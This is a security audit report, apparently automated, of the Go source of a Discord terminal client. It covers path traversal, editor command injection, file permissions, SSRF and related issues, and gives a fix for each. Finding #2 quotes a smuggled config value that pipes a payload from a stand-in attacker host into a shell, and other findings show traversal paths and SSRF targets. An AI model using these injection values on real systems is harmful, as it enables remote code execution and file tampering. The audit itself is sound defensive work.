# Security Audit -- discordo-plus

Audited: 2026-03-20 | Auditor: Claude (automated)

---

## CRITICAL

_No critical vulnerabilities were found._

---

## HIGH

### 1. ✅ FIXED — Path Traversal via Malicious Attachment Filenames
`internal/ui/chat/messages_list.go:1202` -- The `downloadToCache` function joins a Discord-supplied `attachment.Filename` directly into a file path using `filepath.Join(dir, attachment.Filename)`. Discord attachment filenames are server-controlled metadata; a malicious or compromised Discord server, webhook, or bot could supply a filename containing path traversal sequences (e.g., `../../../.bashrc` or absolute paths on Windows). While `filepath.Join` on Go will clean `..` sequences on most platforms, it does NOT sanitize on all edge cases (e.g., a filename that is simply `..` followed by valid components, or Windows-specific `\` separators). The same vulnerable pattern appears at line 1346 in `saveAttachmentImage` where `attachment.Filename` is joined with the user-configured `image_save_dir`. On that path, an attacker-controlled filename could overwrite arbitrary files in the save directory tree.

**Fix:** Sanitize the filename before joining. Extract only the base component and strip any path separators:
```go
safeName := filepath.Base(attachment.Filename)
if safeName == "." || safeName == ".." || safeName == string(filepath.Separator) {
    safeName = "attachment"
}
path := filepath.Join(dir, safeName)
```
Apply this to both `downloadToCache` (line 1202) and `saveAttachmentImage` (line 1346).

**Implementation Risk:** Low. `filepath.Base` is the standard Go idiom for this. The only edge case is empty filenames (which `Base` returns as `.`), handled by the fallback. Existing cached files with clean filenames will continue to work.

---

### 2. Editor Config Value Enables Command Injection via TOML
`internal/config/editor_unix.go:13` -- The `CreateEditorCommand` function on Unix constructs a shell command by concatenating `cfg.Editor` into a `sh -c` invocation: `exec.Command("sh", "-c", cfg.Editor+" \"$@\"", cfg.Editor, path)`. The `cfg.Editor` value comes from the user's `config.toml` file (`editor = "..."`). If a user sets `editor = "default"` and the `$EDITOR` environment variable contains shell metacharacters or a malicious value (e.g., set by a compromised `.bashrc` or a shared environment), arbitrary commands will be executed. Additionally, because the `editor` field accepts any string from TOML, a user who copies a config from an untrusted source could unknowingly set `editor = "vim; curl evil.com/payload | sh #"`, which would execute in a shell context.

The `sh -c` pattern is intentional (it allows editor arguments like `nvim -u NONE`), but combining it with unsanitized input from both TOML config and `$EDITOR` env var creates a command injection surface.

**Fix:** Validate that `cfg.Editor` does not contain shell metacharacters, or switch to `exec.Command` with explicit argument splitting. A safe approach:
```go
func (cfg *Config) CreateEditorCommand(path string) *exec.Cmd {
    if cfg.Editor == "" {
        return nil
    }
    parts := strings.Fields(cfg.Editor)
    args := append(parts[1:], path)
    return exec.Command(parts[0], args...)
}
```
This eliminates the `sh -c` shell and prevents injection. It still supports `editor = "nvim -u NONE"` as space-separated arguments.

**Implementation Risk:** Medium. This changes behavior for users who rely on shell features in their editor string (pipes, env expansion, etc.). Document that the editor field now uses direct argument splitting, not shell evaluation. The non-Unix `editor_default.go` already uses `exec.Command` directly and is not affected.

---

### 3. ✅ FIXED — Overly Permissive File Permissions (os.ModePerm / 0777)
`internal/logger/logger.go:20,24`, `internal/consts/consts.go:25`, `internal/ui/chat/messages_list.go:1198,1341`, `internal/notifications/notifications.go:78` -- All `os.MkdirAll` and `os.OpenFile` calls use `os.ModePerm` (0777), which creates directories and files that are world-readable and world-writable. The log file at `~/.cache/discordo/logs.txt` is created with 0777 permissions. The log file records HTTP request URLs (which include the Discord API base but could contain query parameters in debug mode), error messages, and operational state. The attachment cache directory and saved images are also created with world-accessible permissions.

On a multi-user Linux system, any local user can read the log file, cached attachments, saved images, and the guild state file. While the Discord token is not directly logged, `ws.EnableRawEvents = true` in debug mode could cause raw gateway events (which transit the token-authenticated WebSocket) to be processed, and error messages may leak partial request/response data.

**Fix:** Use restrictive permissions:
```go
// Directories: 0700 (owner only)
os.MkdirAll(dir, 0700)

// Regular files: 0600 (owner only)
os.OpenFile(path, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0600)
```
Apply consistently across all six call sites.

**Implementation Risk:** Low. No other users or processes should need access to these files. Existing files will retain their current permissions until recreated.

---

## MEDIUM

### 4. ✅ FIXED — Unbounded HTTP Response Body in Attachment Downloads
`internal/ui/chat/messages_list.go:1191-1211` -- The `downloadToCache` function fetches an attachment via `http.Get(attachment.URL)` and copies the entire response body to disk with `io.Copy(file, resp.Body)`. There is no size limit. A malicious Discord message with an attachment URL pointing to an extremely large file (or a server that streams infinite data) could fill the disk. The same issue exists in `getCachedProfileImage` in `internal/notifications/notifications.go:93-99`.

**Fix:** Use `io.LimitReader` to cap the download size:
```go
maxSize := int64(100 * 1024 * 1024) // 100 MB
if _, err := io.Copy(file, io.LimitReader(resp.Body, maxSize)); err != nil {
```
Also check `resp.ContentLength` before starting the download when available.

**Implementation Risk:** Low. Discord has its own attachment size limits (typically 25-100 MB depending on tier), so a 100 MB cap is generous. The only behavioral change is rejecting pathologically large responses.

### 5. ✅ FIXED — Attachment Downloads Do Not Validate TLS or Content-Type
`internal/ui/chat/messages_list.go:1191` and `internal/notifications/notifications.go:93` -- Both attachment and avatar downloads use `net/http.Get()` (the stdlib default client) rather than the project's custom `http.NewTransport()`. This means these HTTP calls bypass the project's transport configuration. While Go's default HTTP client does validate TLS certificates, the attachment URL is entirely server-controlled -- a malicious embed or attachment URL could point to `http://` (non-TLS) endpoints, local network addresses (SSRF to `http://169.254.169.254` for cloud metadata, `http://localhost:*` for local services), or file:// URIs.

Additionally, `downloadToCache` does not validate the HTTP response status code -- a 404 or 500 response body would be silently written to disk and then opened in the image viewer.

**Fix:** (a) Validate that the URL scheme is `https://` before fetching. (b) Check `resp.StatusCode` is 200 before writing. (c) Consider using the project's custom transport for consistency.
```go
parsed, err := url.Parse(attachment.URL)
if err != nil || parsed.Scheme != "https" {
    return "", fmt.Errorf("invalid attachment URL scheme: %s", attachment.URL)
}
// ... after http.Get:
if resp.StatusCode != http.StatusOK {
    return "", fmt.Errorf("unexpected status: %d", resp.StatusCode)
}
```

**Implementation Risk:** Low. Discord CDN URLs are always HTTPS. This only blocks non-HTTPS URLs, which are either malicious or broken.

### 6. ✅ FIXED — Image Viewer Config Allows Arbitrary Command Execution
`internal/ui/chat/messages_list.go:1247-1257,1269` -- The `viewerArgs` function takes the `image_viewer` config value and uses it as the first argument to `exec.Command`. On the non-Unix code path (and even on Unix when not using `sh -c`), the viewer string is used directly as a binary name. If a user sets `image_viewer` to a value containing spaces (e.g., `image_viewer = "my viewer"`), only the first argument would be the binary name, but the heuristic at line 1248 (`strings.Contains(viewer, "mpv ")`) suggests the field is expected to be a simple binary name. The viewer value goes directly to `exec.Command(args[0], args[1:]...)` where `args[0]` is the unsanitized viewer string. Combined with a user-writable config file and the fact that the path argument comes from a downloaded (attacker-named) file, this chain could be exploited if the cached attachment path is crafted.

However, since `exec.Command` does NOT invoke a shell and the path is a separate argument, the practical injection risk is limited to the config value itself (which the user controls).

**Fix:** Validate that `image_viewer` resolves to an executable via `exec.LookPath` at config load time. Log a warning if it does not resolve:
```go
if cfg.ImageViewer != "" {
    if _, err := exec.LookPath(cfg.ImageViewer); err != nil {
        slog.Warn("image_viewer not found in PATH", "viewer", cfg.ImageViewer, "err", err)
    }
}
```

**Implementation Risk:** Low. This is a validation-only change. Users with valid viewer paths are unaffected.

### 7. Debug Mode Enables Raw WebSocket Event Logging
`cmd/root.go:31` -- When `--log-level=debug` is passed, `ws.EnableRawEvents = true` is set globally on the arikawa WebSocket library. This causes raw gateway event data to be processed and potentially logged. While the current `onRaw` handler in `state.go:24-31` only logs the event code and type (not the raw data -- the `event.Raw` line is commented out), the `EnableRawEvents` flag is a global setting that could be picked up by other arikawa internals or future code changes. Raw gateway events may contain user tokens in initial payloads, private message content, and other sensitive data. The log file is written with world-readable permissions (finding #3).

**Fix:** Either (a) remove the `ws.EnableRawEvents = true` line entirely, since the handler already filters out raw data, or (b) ensure it is only enabled with an explicit `--enable-raw-events` flag that warns about the security implications. At minimum, fix the log file permissions (finding #3) to prevent other users from reading debug logs.

**Implementation Risk:** Low. Removing `EnableRawEvents` has no impact on normal operation; it only disables the raw event hook that is already commented out in the handler.

---

## LOW

### 8. ✅ FIXED — DISCORDO_TOKEN Environment Variable Visible to All Local Processes
`internal/ui/root/model.go:88` -- The `DISCORDO_TOKEN` environment variable is checked before the keyring at startup. On Linux, environment variables of any process are readable by the same UID via `/proc/PID/environ`. Users who set this in `.bashrc` or `.zshrc` expose their Discord token to all processes running as the same user. This is documented in TECHFILE.md (item 8) but has no in-app warning.

**Fix:** Log a warning at startup when `DISCORDO_TOKEN` is used:
```go
if token := os.Getenv(tokenEnvVarKey); token != "" {
    slog.Warn("Using DISCORDO_TOKEN from environment. Environment variables are visible to all processes running as the same user. Consider using the keyring instead.")
    cmd = tokenCommand(token)
}
```

**Implementation Risk:** None. This is a logging-only change.

### 9. ✅ FIXED — Guild State File Written Without Atomic Replacement
`internal/ui/chat/guildstate.go:42-48` -- The `save()` method writes the guild state to `state.json` using `os.WriteFile`, which truncates and writes in place. If the application crashes or is killed during the write, the file will be partially written or empty, causing data loss on next load. While guild state is non-sensitive (only guild IDs and expand/collapse booleans), the non-atomic write could also cause a brief window where the file is empty and readable by other processes.

**Fix:** Write to a temporary file in the same directory and rename atomically:
```go
tmp := stateFilePath + ".tmp"
if err := os.WriteFile(tmp, data, 0644); err != nil { ... }
if err := os.Rename(tmp, stateFilePath); err != nil { ... }
```

**Implementation Risk:** Negligible. `Rename` is atomic on POSIX systems. On Windows, it may require the target to not exist; use `os.Rename` which handles this on Go 1.26+.

### 10. ✅ FIXED — Avatar Cache Path Uses Discord-Supplied Hash Without Sanitization
`internal/notifications/notifications.go:82` -- The avatar image cache path is constructed as `filepath.Join(path, avatarHash+".png")` where `avatarHash` is a `discord.Hash` (string type) received from the Discord API. While Discord avatar hashes are typically hex strings, the type is an alias for `string` and could theoretically contain path separators if the API response is manipulated. The same `filepath.Base` sanitization from finding #1 should be applied.

**Fix:** `avatarHash = filepath.Base(string(avatarHash))` before path construction.

**Implementation Risk:** Negligible.

---

## INFORMATIONAL

### 11. Commented-Out Local Replace Directives in go.mod
`go.mod:5-7` -- The file contains commented-out `replace` directives pointing to local sibling directories (`../tview`, `../arikawa`). These are development conveniences but could confuse contributors or be accidentally uncommented, causing builds to use unvetted local code.

**Fix:** Document these in CLAUDE.md (already done) and consider removing them from the committed go.mod, using `go.work` instead for local development.

**Implementation Risk:** None.

### 12. No Certificate Pinning for Discord API Connections
The project relies on Go's default TLS verification for all Discord API and CDN connections. This is standard and acceptable for a desktop application, but provides no protection against a compromised CA issuing a fraudulent certificate for `discord.com`. Certificate pinning would add defense-in-depth but is not standard practice for TUI applications.

**Fix:** No action needed. This is informational only.

**Implementation Risk:** N/A.

### 13. QR Login WebSocket Uses Default Dialer Without Custom TLS Config
`internal/ui/login/qr/events.go:40` -- The QR login flow connects to `wss://remote-auth-gateway.discord.gg` using `websocket.DefaultDialer`, which uses Go's default TLS settings. This is functionally correct but does not benefit from the project's custom HTTP transport (gzip/brotli decompression).

**Fix:** No action needed for security. The default TLS configuration in Go is secure.

**Implementation Risk:** N/A.

---

## Summary

| Severity | Total |
|----------|-------|
| Critical | 0     |
| High     | 3     |
| Medium   | 4     |
| Low      | 3     |
| Info     | 3     |

## Top 3 Priorities
1. **Path traversal via attachment filenames** (#1) -- Apply `filepath.Base` sanitization to all Discord-supplied filenames before file system operations. This is the most exploitable finding as it requires zero user interaction beyond viewing a message with a malicious attachment.
2. **File permission hardening** (#3) -- Change all `os.ModePerm` usages to 0700/0600. This is a one-line fix at each call site that immediately reduces the local attack surface.
3. **Editor command injection** (#2) -- Switch from `sh -c` shell invocation to direct `exec.Command` with argument splitting. This eliminates shell metacharacter injection from both TOML config and `$EDITOR`.

## Positive Observations
- Token storage via OS keyring (zalando/go-keyring) is the correct default approach, avoiding plaintext token storage
- QR login uses proper RSA-2048 key generation with `crypto/rand`, SHA-256 OAEP decryption, and ephemeral key pairs
- WebSocket connection to Discord remote auth gateway uses WSS (TLS)
- Guild state persistence uses mutex correctly around all read/write operations
- The `xdotool` geometry detection degrades gracefully when the tool is absent
- Token is never logged -- `slog` calls related to token operations only log error messages, not the token value
- Build uses `-trimpath` to strip local filesystem paths from the binary
- The `sendMessageData` reference/mention handling correctly sets `AllowedMentions` to prevent unintended pings
- TOML config parsing uses the well-maintained BurntSushi/toml library with no known vulnerabilities
- Dependencies are overwhelmingly current (see TECHFILE.md) with no known CVEs in the active dependency set

---

## Files Reviewed

_Every file reviewed, listed for coverage verification._

| # | File | Type |
|---|---|---|
| 1 | `main.go` | Entry point |
| 2 | `cmd/root.go` | CLI initialization |
| 3 | `go.mod` | Module manifest |
| 4 | `.gitignore` | Git config |
| 5 | `.github/workflows/ci.yml` | CI pipeline |
| 6 | `internal/config/config.go` | Config struct + loader |
| 7 | `internal/config/config.toml` | Embedded default config |
| 8 | `internal/config/config_test.go` | Config tests (grep) |
| 9 | `internal/config/keybinds.go` | Keybind definitions |
| 10 | `internal/config/theme.go` | Theme TOML types |
| 11 | `internal/config/editor_unix.go` | Unix editor command |
| 12 | `internal/config/editor_default.go` | Non-Unix editor command |
| 13 | `internal/consts/consts.go` | Constants + cache dir |
| 14 | `internal/keyring/keyring.go` | Token keyring access |
| 15 | `internal/keyring/keyring_test.go` | Keyring tests (presence verified) |
| 16 | `internal/logger/logger.go` | Log file setup |
| 17 | `internal/http/transport.go` | Custom HTTP transport |
| 18 | `internal/http/client.go` | API client factory |
| 19 | `internal/http/headers.go` | HTTP header construction |
| 20 | `internal/http/props.go` | Identify properties + super props |
| 21 | `internal/clipboard/clipboard.go` | Clipboard types |
| 22 | `internal/clipboard/clipboard_default.go` | Non-Linux clipboard |
| 23 | `internal/clipboard/clipboard_wayland.go` | Wayland clipboard (wl-copy) |
| 24 | `internal/cache/cache.go` | Completion cache |
| 25 | `internal/markdown/renderer.go` | Markdown AST renderer |
| 26 | `internal/notifications/notifications.go` | Notification dispatch |
| 27 | `internal/notifications/desktop_toast.go` | Linux/Windows toast |
| 28 | `internal/notifications/desktop_toast_darwin.go` | macOS notification |
| 29 | `internal/ui/util.go` | UI utilities |
| 30 | `internal/ui/root/model.go` | Root model + edit config |
| 31 | `internal/ui/root/events.go` | Root events (token, keyring) |
| 32 | `internal/ui/root/keybinds.go` | Root keybinds |
| 33 | `internal/ui/root/suspend_unix.go` | Unix SIGTSTP suspend |
| 34 | `internal/ui/root/suspend_default.go` | Non-Unix suspend no-op |
| 35 | `internal/ui/chat/model.go` | Chat model + state init |
| 36 | `internal/ui/chat/messages_list.go` | Message rendering (1600 lines) |
| 37 | `internal/ui/chat/message_input.go` | Message composition |
| 38 | `internal/ui/chat/guilds_tree.go` | Guild/channel tree |
| 39 | `internal/ui/chat/guildstate.go` | Guild state persistence |
| 40 | `internal/ui/chat/state.go` | Gateway state events |
| 41 | `internal/ui/chat/events.go` | Chat event types |
| 42 | `internal/ui/chat/keybinds.go` | Chat keybinds |
| 43 | `internal/ui/chat/util.go` | Chat utilities |
| 44 | `internal/ui/chat/attachments_picker.go` | Attachment picker |
| 45 | `internal/ui/chat/channels_picker.go` | Channel picker |
| 46 | `internal/ui/chat/mentions_list.go` | Mentions list |
| 47 | `internal/ui/login/model.go` | Login model |
| 48 | `internal/ui/login/events.go` | Login events |
| 49 | `internal/ui/login/keybinds.go` | Login keybinds |
| 50 | `internal/ui/login/token/model.go` | Token login form |
| 51 | `internal/ui/login/token/events.go` | Token events |
| 52 | `internal/ui/login/qr/model.go` | QR login model |
| 53 | `internal/ui/login/qr/events.go` | QR login events + crypto |